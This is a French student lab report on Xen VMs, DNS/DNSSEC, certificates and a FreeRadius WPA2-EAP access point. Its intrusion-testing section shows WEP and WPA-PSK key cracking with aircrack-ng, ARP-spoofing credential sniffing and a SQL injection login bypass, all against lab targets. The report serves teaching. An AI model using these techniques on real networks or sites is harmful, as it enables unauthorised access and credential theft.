&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
